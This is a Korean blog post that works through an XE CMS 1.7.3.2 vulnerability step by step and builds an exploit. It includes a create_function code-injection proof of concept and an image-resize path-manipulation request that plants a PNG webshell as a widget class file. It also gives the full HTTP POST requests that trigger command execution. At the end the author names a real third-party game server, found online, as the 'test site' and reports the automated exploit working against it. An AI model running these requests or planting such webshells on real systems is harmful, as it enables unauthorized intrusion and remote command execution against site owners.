2013년 10월 16일 수요일

XE 1.7.3.2 LFI 취약점

예전에 XE 1.7.3.2 이하 버전에 있었던 취약점.


                https://code.google.com/p/xe-core/source/detail?r=13127  (1.7.3.2 관련 패치 내용)

- 취약점이 발생하는 파일  
  /modules/widget/widget.controller.php


- 취약점 발생 부분
  624번 라인 : function getWidgetObject($widget)

    ....

   // Creating Objects
   $tmp_fn  = create_function('', "return new {$widget}();");
   $oWidget = $tmp_fn();
    ....

    
   저 create_function 함수에서 취약점이 발생.   이 함수는 PHP 내장 함수로 
   이 레퍼런스에서 확인하면 됨.


   문제는 이 함수가 실행되는 getWidgetObject() 함수가 실행되는 부분을 역추적해야 한다.... 아직은 이것이 문제다.

  ** 참고 : create_function 함수 관련 취약점 정보는
     이 페이지에서 확인하면 됨.


XE에서 취약점이 발생하는 create_function('', "return new {$widget}();");  부분의 원리를 파악해보기 위해서 

<?php
     $widget=$_GET['a'];
     $tmp_fn  = create_function('', "return new {$widget}();");
     $oWidget = $tmp_fn();
?>
POC : /test.php?a=a;}phpinfo();//

와 같은 샘플 코드로 create_function에 발생하는 취약점을 이해해본다. 
위  코드에서 code injection을 하기 위해서는 "a;}phpinfo();//" 와 같은 패턴을 사용할 수 있다.
이 패턴에서 중요한 것은 ";}" 과 "//"이다.
이 두 개의 문자열로 앞 뒤 코드들을 모두 무력화? 시키고 phpinfo() 를 실행시킨다.


그럼 XE에 취약점을 시도하기 위해서 XE를 분석해보자.
XE에서는 대부분의 설정 값이나 데이터를 HTTP Post 기반의 XML 구조를 사용하여 주고받는다.


POST /test/xe/index.php HTTP/1.1
Host: localhost
Content-Length: 329
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.72 Safari/537.36
Content-Type: text/plain
Referer: http://localhost/test/xe/index.php?module=widget&act=dispWidgetGenerateCodeInPage&selected_widget=newest_document&module_srl=62

<?xml version="1.0" encoding="utf-8" ?>
<methodCall>
<params>
<selected_widget><![CDATA[newest_document]]></selected_widget>
<skin><![CDATA[xe_official]]></skin>
<colorset><![CDATA[undefined]]></colorset>
<module><![CDATA[widget]]></module>
<act><![CDATA[procWidgetGenerateCodeInPage]]></act>
</params>
</methodCall>



이렇게 POST 기반의 XML 구조를 사용한다.  "<module>"로 실행할 모듈을 정하고, "<act>"로 실행할 함수를 정의한다.
XE는 이러한 XML 구조를 이용해서 모듈과 함수를 로드할 수 있기 때문에 이 구조를 이용해서 취약점을 시도할 수 있다고 가정해본다.


취약점이 발생하는 create_function 함수가 있는 부분은 /modules/widget/widget.controller.php 파일의 getWidgetObject() 함수이다.
이 함수에 $widget 인자가 넘어온다. 

getWidgetObject() -> getCache() -> execute()               ->    procWidgetGenerateCodeInPage()
                                                     recompileWidget()         transWidget()
                                                                                         transWidgetBox()


*** 일단 위의 함수들을 하나씩 역추적 해보자 ***                                                 

getWidgetObject() 함수를 살펴보면 create_function() 함수 전에 file_exists() 함수를 먼저 우회해야 한다.
그런데, 이 함수는 현재 널바이트로 우회되지 않는다. 이 이야기는 이 함수 자체에서 어떠한 변조를 주지 않는다는 가설이 만들어지게 되는 것이다.
getWidgetObject() 함수에서 변조가 발생하지 않는다면 상위 함수들을 차례로 봐야 한다.
가장 유력한 최상위 함수 procWidgetGenerateCodeInPage()를 살펴본다.

function procWidgetGenerateCodeInPage()
     {
          $widget = Context::get('selected_widget');
          if(!$widget) return new Object(-1,'msg_invalid_request');

          if(!in_array($widget,array('widgetBox','widgetContent')) && !Context::get('skin')) return new Object(-1,Context::getLang('msg_widget_skin_is_null'));

          $attribute = $this->arrangeWidgetVars($widget, Context::getRequestVars(), $vars);
          // Wanted results
          $widget_code = $this->execute($widget, $vars, true, false);

          $oModuleController = &getController('module');
          $oModuleController->replaceDefinedLangCode($widget_code);

          $this->add('widget_code', $widget_code);
     }

이 함수에서는 selected_widget 이라는 get 파라미터를 받는다. 이 파라미터가 $widget에 저장되어 getWidgetObject()까지 내려가는 것이다.
허나 이상한 것은, selected_widget 파라미터를 변조하게 되면 정상적인 동작이 일어나지 않는다는 것이다. 
그럼 이 함수도 아니다. 가장 유력했던 procWidgetGenerateCodeInPage() 함수도 아니라면 다른 곳에서 1차 취약점을 일으킨다는 가설이 새로 생긴다.

그래서 릴리즈 노트를 자세히 살펴보기로 하자. (https://code.google.com/p/xe-core/source/detail?r=13127 )

릴리즈 내용 중 modules/file/file.controller.php  파일이 의심스럽다.  혹시나 하여 modules/file/conf/module.xml 파일도 같이 봤더니
modules/file/conf/module.xml 파일에서 procFileImageResize() 함수에 대한 수정이 있었고, file.controller.php 에서도 
procFileImageResize() 함수에 대한 수정이 있었다.

file.controller.php 파일의 수정내용은 얼추보니. source_src , outpur_src 에 대한 수정이다. 파일경로를 변조하지 못하도록 수정한 것이다.
수정된 이 함수는 이미지 파일을 리사이징하는 함수이다. 이 함수의 경로를 마음대로 조작가능한 문제점이 있었던 것이다.
이 함수를 보니 teamcrak 보고서에 이미지를 사용한 이유가 이 때문인가 하는 생각이 든다.

이 시점에 드는 생각!!
- 1) 이미지 파일은 GD 라이브러리로 리사이징 된다. PHP코드를 어떻게 삽입할 수 있을 것인가?
- 2) 이 함수와 위젯 컨트롤러의 create_function과 어떻게 이어지는가?


일단 패치된 procFileImageResize() 함수를 테스트 해보록하자. 
먼저 게시판에 첨부파일로 그림파일을 첨부한 뒤 본문 삽입을 눌러서 파일의 경로를 임시로 확인하도록 하자.

POST /test/xe/index.php HTTP/1.1
Host: localhost
Content-Length: 405
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type: text/plain

<?xml version="1.0" encoding="utf-8" ?>
<methodCall>
<params>
<source_src><![CDATA[./files/attach/images/112/121/1adca37d2b6a0310bdb2eb6dda52e137.gif]]></source_src>
<width><![CDATA[100]]></width>
<height><![CDATA[200]]></height>
<output_src><![CDATA[./widgets/a/a.class.php]]></output_src>
<module><![CDATA[file]]></module>
<act><![CDATA[procFileImageResize]]></act>
</params>
</methodCall>


XE의 XML 구조를 이용해서, module 에는 해당 함수의 소속?인 file을 넣고 act에는 함수명을 넣는다. 그 다음 해당 함수의 get 파라미터들 넣는다.

$source_src = Context::get('source_src');
$width = Context::get('width');
$height = Context::get('height');
$type = Context::get('type');
$output_src = Context::get('output_src');

함수의 코드를 보면 위와 같이 get 파라미터들이 명시되어 있는데, 이를 같이 보낸다. 근데 코드를 보니 $type은 사용되는 곳이 없다.
그래서 파라미터에서 제외 시켰다. 오류도 발생하지 않기에... 
그 다음 게시판에서 임시로 올렸던 그림 파일의 경로를 source_src에 넣고
저장한 경로를 widget 스타일 폴더를 가장하여 없는 폴더를 넣었더니 없는 폴더가 생성되면서 이미지 파일이 리사이징되어 저장되었다.
오호라... 이를 이용하면 LFI가 가능할 것 같다.

그런데 문제가 발생하였다.  이미지 리사이징할 때 XE는 GD 라이브러리를 사용하는데 
정상적인 그림파일이 아니면 오류가 발생하여 진행이 되지 않는다.
그림 파일에 PHP 코드를 삽입하는 여러가지 방법을 사용해 봤지만 다 튕겨낸다.. 아 된장....!!!!


자.. 다시 Teamcrak의 익스플로잇 스샷을 다시 봐보자.

point 1 ) "File Resize OK"   -  이미지 리사이징 문제를 우회했단 건가?? 이미지 백도어??
        2 ) "Command Excution(Webshell Upload) - 명령이 실행됬다??  하드 코딩된 PHP 코드일 가능성이 크다고 보여짐.
                                                                       아마도 웹쉘을 만들라는 명령어겠지


Teamcrack 스샷을 봤을 리사이즈 함수를 우회한건 거의 확실한 것 같다.
그래서 각종 이미지 백도어에 관련된 기술을 찾아봤다.


그러던 중 위 주소의 PNG 기반 이미지 백도어 기술을 접하게 됬다.
작년 자료라서 보긴 했던거 같은데 그냥 자세히 보진 않았다.  그런데 테스트 결과 희망이 보인다.


[그림 : 게시판에 업로드한 PNG 이미지 백도어]


[그림 : 이미지 리사이징 함수를 거친 이미지 백도어]


정말 놀라운 것은 똑같다는 것이다. 보통 이미지 리사이징 함수를 거치게 되면 GD라이브러리의 헤더도 추가되고 바디도 약간 값이 바뀌게 되는데 
이 이미지는 똑같다. 놀랍다.

위 이미지 백도어의 원리를 간단히 설명해 보겠다.
바이너리 파일을 일반 텍스트처럼 출력 시켰을 때 깨져서 보이지만 일부는 정상 문자열로 보이게 된다. 
즉, 이 컬러들을 잘 배치하면 정상적인 그림처럼 보이면서도 문자열로 뿌렸을 때 웹쉘 코드가 되게 되는 것이다. 
가장 큰 장점은 이미지 헤더를 건드리는 방법이 아는 바디에 넣는 방법이란 것과 GD 라이브러리를 거쳐도 웹쉘 코드가 유지된다는 것.

좀 더 자세히 설명하자면,  PNG 파일의 IDAT Chunk 포맷을 이용한 공격인데.
PNG의 IDAT 타입을 가만히 보면 기존 헤더에 PHP 코드처럼 보이는 문자열이 있다. 
저 문자열이 보인다는 것은 잘만하면 PHP 웹쉘 코드를 만들 수 있다는 것. 더 이상은 엄청 복잡하니까 설명은 여기까지....


일단은, 위의 이미지를 게시판에 임시로 올리고 이미지 리사이징 함수로 
widgets/a/a.class.php  경로로 내보낸 다음 위젯 컨트롤러로 실행시켜보자.


POST /test/xe/ HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 109
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36
Content-Type:  application/json

act=procWidgetGenerateCodeInPage&module=widget&colorset=undefined&skin=xe_offical&selected_widget=a

XE에서는 XML 구조도 사용하지만 Ajax를 지원하기 때문에 json 구조도 지원한다.
이번엔 이미지 백도어에서 POST를 사용하기 때문에 post 사용을 위해서 위 방식의 POST를 사용함.

1.7.3.2의 위젯 컨트롤러에서는 "/widgets/위젯명/위젯명.class.php" 파일만 존재하면
정상적으로 불러들여 실행시킨다. 


기존에 teamcrack 보고서에서 create_function() 함수가 취약점 원인이라고 했다.
하지만 실질적인 공격코드는 create_function() 함수를 거치기전 require_once() 함수로 불러올 때 
이미 실행된다. 

그럼 완성된 공격 HTTP post를 만들어 보자.

POST /test/xe/?0=system HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 109
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36
Content-Type: application/x-www-form-urlencoded

act=procWidgetGenerateCodeInPage&module=widget&colorset=undefined&skin=xe_offical&selected_widget=a&1=dir


위의 HTTP를 보면 POST 파라미터를 사용하기 위해서 application/json 에서 x-www-form-urlencoded 로 변경하고, GET 파라미터로 "0" 과 POST 파라미터로 "1"을 사용했다.


그렇게 되면 최종적으로 위와 같이 공격이 성공하게 된다.


테스트 사이트는 프리서버로 정했다.

네이버에서 리니지2 프리서버를 찾았다. 

프리서버 사이트 : http://l2neo.dlinkddns.com


익스플로잇 제작 성공


Full 자동화 익스플로잇임.

댓글 없음:

댓글 쓰기

참고: 블로그의 회원만 댓글을 작성할 수 있습니다.